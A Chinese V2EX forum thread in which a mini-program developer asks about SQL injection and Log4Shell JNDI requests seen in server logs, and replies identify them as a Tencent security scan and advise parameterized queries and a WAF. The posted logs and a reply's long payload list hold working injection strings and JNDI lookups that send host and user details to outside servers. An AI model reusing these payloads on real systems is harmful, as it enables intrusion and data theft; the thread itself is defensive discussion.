V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
shinyzhu
V2EX  ›  信息安全

遇到黑客攻击了怎么办

  •  
  •   shinyzhu · 246 天前 · 2743 次点击
    这是一个创建于 246 天前的主题,其中的信息可能已经有所发展或是发生改变。

    我在做的是一个小程序,有后台的 API 服务。

    上周五突然发现有很多 SQL 注入和远程代码执行的调用。

    Mar 15 16:48:15 lightsh ibkapi[1420640]: GET /products?q=%27%20union%20select%201--%20&count=30&cat=21&p=1 500 2.012 ms - 60
    Mar 15 16:48:16 lightsh ibkapi[1420640]: GET /products?q=%25bf%2527%25bf%27%2527%2522%27%22%5C%5C%255C%250d%250a%2523%23&count=30&cat=21&p=1 500 4.498 ms - 60
    Mar 15 16:48:16 lightsh ibkapi[1420640]: GET /products?q=%bf%27%bf'%27%22'"\\%5C%0d%0a%23%23&count=30&cat=21&p=1 500 16.973 ms - 60
    Mar 15 16:49:27 lightsh ibkapi[1420640]: GET /products?q=&count=30&cat=21&p=%20OR%20%28SELECT%2AFROM%28SELECT%28SLEEP%284%29%29%29iiet%29%20limit%201%23 400 0.847 ms - 163
    

    和这样:

    Mar 15 17:31:35 lightsh ibkapi[1457656]: GET /orders/?status=-1&count=10&p=${jndi:rmi://183.47.120.213:1099/bypass4ab2c832c1448624ddd652713f2b4b1b-/-${hostName}} 400 1.655 ms - 201
    Mar 15 17:31:35 lightsh ibkapi[1457656]: GET /orders/?status=-1&count=10&p=${jndi:rmi://hostname-${hostName}.username-${sys:user.name}.javapath-${sys:java.class.path}.f4a52b7ecb98e763293fb54f33f9bec8.4j2.mauu.mauu.me/} 400 1.722 ms - 258
    Mar 15 17:31:36 lightsh ibkapi[1457656]: GET /orders/?status=-1&count=10&p=${jndi:ldap://183.47.120.213:1389/jdk185bf1616da873b6fb2299bbc60897c1c1-/-${hostName}} 400 1.749 ms - 201
    Mar 15 17:31:36 lightsh ibkapi[1457656]: GET /orders/?status=${jndi:ldap://hostname-${hostName}.username-${sys:user.name}.javapath-${sys:java.class.path}.05d82899be802b7b14abf20f5a33c934.4j2.mauu.mauu.me/}&count=10&p=1 400 2.063 ms - 257
    

    还有今天发现在请求 /.env

    技术战是 NodeJS+MySQL ,看起来这些攻击没有得逞,我也在发现的第一时间停掉服务规避了。

    然后修改了系统里校验参数和 SQL 语句的用法。

    目前有 2 个问题:

    1. 这个站点我并没有公开发布过,黑客是怎么知道地址的呢?拿手机抓包获取 API 地址?
    2. 大家有什么办法避免这样的攻击?
    第 1 条附言  ·  245 天前
    感谢 @yumusb @kimitaer 的提醒,这些请求确实来自腾讯安全团队的扫描,小程序上线有一个步骤就是安全扫描。

    相关的官方文档:

    小程序安全检测上线公告: https://developers.weixin.qq.com/community/minihome/doc/0008ea401c89c02cff2d1345051001?blockType=99

    小程序漏洞扫描功能介绍: https://developers.weixin.qq.com/miniprogram/dev/devtools/vulnerability.html

    最后,希望大家的应用都安全上线。
    17 条回复    2024-05-11 22:34:37 +08:00
    lonelykid
        1
    lonelykid  
       246 天前
    全网扫描 IP 和端口,还有你贴的日志把你服务器 IP 都泄露了。
    Hopetree
        2
    Hopetree  
       246 天前
    我发现只要是公开的网站都有很多类似的请求。

    借贴说一下关于这种暴力请求的问题,是不是可以设置网络炸弹(就是给一些不存在的请求返回一个压缩文件,文件被解压的时候会非常大)来恶心一下这种请求?前几天看到网络炸弹这个还没试过,不知道对于这种暴力请求有效没?
    shinyzhu
        3
    shinyzhu  
    OP
       246 天前
    @lonelykid 嗯嗯。谢谢提醒。

    我看了日志的,那个不是我的 IP ,还有域名 mauu.me 也不是我的。我怀疑是黑客控制的,所以没有删掉。黑客想通过那个接口的参数传远程下载进去。但我服务器上没有 Java 。

    不知道理解对不对。有没有白帽帮忙看看。
    shinyzhu
        4
    shinyzhu  
    OP
       246 天前
    @Hopetree 感觉是个“蜜罐”类方案,可以研究下。但直接返回大文件的话,我的小服务器流量也受不了。
    Puteulanus
        5
    Puteulanus  
       246 天前   ❤️ 1
    如果请求参数跟你的服务八竿子打不着,那估计就是扫描的了,可能会把常见的漏洞利用都给你试一遍
    winterpotato
        6
    winterpotato  
       246 天前   ❤️ 1
    用 gzip bumb 确实很坏,我做过一段时间,发现自己发出去的流量挺多的也不知道对面爆炸了没。

    大概率是全网扫的,从自己的代码角度来看,查询语句要用 prepared statement ( Parameterized queries )这种避免被注入。
    yumusb
        7
    yumusb  
       246 天前   ❤️ 2
    mauu.me 是腾讯安全检测的,你是不是最近上线了什么小程序一类的,触发了腾讯的安全扫描。
    shinyzhu
        8
    shinyzhu  
    OP
       246 天前 via iPhone
    @yumusb 是的呢。就是小程序刚发布了个新版本,就收到这些扫描了。我发现 IP 还真是广州的。
    kimitaer
        9
    kimitaer  
       246 天前   ❤️ 1
    应该是 tx 的安全检测, 之前我司也是发现了一批可疑请求, 检查了下 ua 可以看到是来自 tx 的检测
    NGGTI
        10
    NGGTI  
       245 天前   ❤️ 1
    一个是在做 SQL 注入攻击 sleep(4) 响应 0.847 ms 没成功。一个在做 log4 攻击,没用 java 就算了。
    retanoj
        11
    retanoj  
       245 天前   ❤️ 1
    攻击不代表攻击成功。
    “我也在发现的第一时间停掉服务规避了”,如果真对扫描类请求都这么敏感,那建议前面套一层 WAF
    shinyzhu
        12
    shinyzhu  
    OP
       245 天前
    @retanoj 其实我很慌,我不少 SQL 是拼字符串的,想着后面有空了重构。这一下直接让我在半夜改完了。
    retanoj
        13
    retanoj  
       245 天前   ❤️ 1
    @shinyzhu #12
    你看,以攻促防这效果不就体现出来了嘛 ;)
    impdx
        14
    impdx  
       244 天前   ❤️ 1
    sql 拼接,开发不注意安全规范很容易 sql 注入。先规范自己的开发。之后考虑上个雷池 waf ,可以避免一些扫描器
    AJ1if4
        15
    AJ1if4  
       223 天前   ❤️ 1
    散了吧,这个是小程序发布审核触发的腾讯安全审查。

    {"code":"' union select 1--"}
    {"code":"' union select 1,2--"}
    {"code":"' union select 1,2,3--"}
    {"code":"' union select md5(3141592657),2,3--"}
    {"code":"' union select 1,md5(3141592657),3--"}
    {"code":"' union select 1,2,md5(3141592657)--"}
    {"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g' AND (SELECT*FROM(SELECT(SLEEP(3)))qtuo) limit 1#"}
    {"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g\") OR (SELECT*FROM(SELECT(SLEEP(4)))cnpj) limit 1#"}
    {"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g\")) AND (SELECT*FROM(SELECT(SLEEP(3)))pxzq) limit 1#"}
    {"code":"\")) OR (SELECT*FROM(SELECT(SLEEP(3)))puht) limit 1#"}
    {"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g\") AND (SELECT*FROM(SELECT(SLEEP(2)))cfva) limit 1#"}
    {"code":"' OR (SELECT*FROM(SELECT(SLEEP(3)))mnud) limit 1#"}
    {"code":"\" AND (SELECT*FROM(SELECT(SLEEP(3)))ondm) limit 1#"}
    {"code":"%25bf%2527%25bf%27%2527%2522%27%22%5C%5C%255C%250d%250a%2523%23"}
    {"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g"}
    {"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g%bf%27%bf'%27%22'\"\\\\%5C%0d%0a%23#"}
    {"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g"}
    {"code":"')) OR (SELECT*FROM(SELECT(SLEEP(2)))nawx) limit 1#"}
    {"code":"')) OR (SELECT*FROM(SELECT(SLEEP(3)))rywe) limit 1#"}
    {"code":"\" union select 1--"}
    {"code":"\" union select 1,2--"}
    {"code":"\" union select md5(3141592657),2--"}
    {"code":"\" union select 1,md5(3141592657)--"}
    {"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g\" union select 1--"}
    {"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g\" union select 1,2--"}
    {"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g\" union select 1,2,3--"}
    {"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g\" union select md5(3141592657),2,3--"}
    {"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g\" union select 1,md5(3141592657),3--"}
    {"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g\" union select 1,2,md5(3141592657)--"}
    {"code":"%bf%27%bf'%27%22'\"\\\\%5C%0d%0a%23#"}
    {"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g"}
    {"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g') OR (SELECT*FROM(SELECT(SLEEP(4)))biaw) limit 1#"}
    {"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g') OR (SELECT*FROM(SELECT(SLEEP(3)))mjpe) limit 1#"}
    {"code":"${jndi:rmi:\/\/183.47.120.213:1099\/bypassea22776815cddd786d4619bd5fa16902-\/-${hostName}}"}
    {"code":"\") OR (SELECT*FROM(SELECT(SLEEP(4)))qgzf) limit 1#"}
    {"code":"') OR (SELECT*FROM(SELECT(SLEEP(3)))kuav) limit 1#"}

    {"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g"}
    {"code":"\" OR (SELECT*FROM(SELECT(SLEEP(3)))cexg) limit 1#"}
    {"code":"\" OR (SELECT*FROM(SELECT(SLEEP(4)))fzmo) limit 1#"}
    {"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g\" OR (SELECT*FROM(SELECT(SLEEP(3)))jyyi) limit 1#"}
    {"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g\" OR (SELECT*FROM(SELECT(SLEEP(4)))bvvz) limit 1#"}
    {"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g"}

    {"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g AND (SELECT*FROM(SELECT(SLEEP(4)))fnfj) limit 1#"}
    {"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g AND (SELECT*FROM(SELECT(SLEEP(3)))wdcf) limit 1#"}
    {"code":"${jndi:rmi:\/\/hostname-${hostName}.username-${sys:user.name}.javapath-${sys:java.class.path}.32a822
    .mauu.me\/}"}
    {"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g\" AND (SELECT*FROM(SELECT(SLEEP(2)))lozr) limit 1#"}
    {"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g\" AND (SELECT*FROM(SELECT(SLEEP(3)))hged) limit 1#"}
    {"code":"\")) AND (SELECT*FROM(SELECT(SLEEP(3)))ievk) limit 1#"}
    {"code":"\")) AND (SELECT*FROM(SELECT(SLEEP(4)))tpvq) limit 1#"}
    {"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g') AND (SELECT*FROM(SELECT(SLEEP(3)))hkzh) limit 1#"}
    {"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g') AND (SELECT*FROM(SELECT(SLEEP(2)))gisu) limit 1#"}
    {"code":"') AND (SELECT*FROM(SELECT(SLEEP(3)))kaes) limit 1#"}
    {"code":"') AND (SELECT*FROM(SELECT(SLEEP(4)))xbou) limit 1#"}
    {"code":"' AND (SELECT*FROM(SELECT(SLEEP(4)))dfwz) limit 1#"}
    {"code":"' AND (SELECT*FROM(SELECT(SLEEP(3)))yfcg) limit 1#"}
    {"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g%25bf%2527%25bf%27%2527%2522%27%22%5C%5C%255C%250d%250a%2523%23"}
    {"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g"}
    {"code":"\") AND (SELECT*FROM(SELECT(SLEEP(4)))rsqh) limit 1#"}
    shinyzhu
        16
    shinyzhu  
    OP
       222 天前
    @AJ1if4 哈哈。你这个日志怎么来的?用的啥数据库?
    AJ1if4
        17
    AJ1if4  
       191 天前
    @shinyzhu 服务器上的,pg
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   1129 人在线   最高记录 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 128ms · UTC 18:48 · PVG 02:48 · LAX 10:48 · JFK 13:48
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.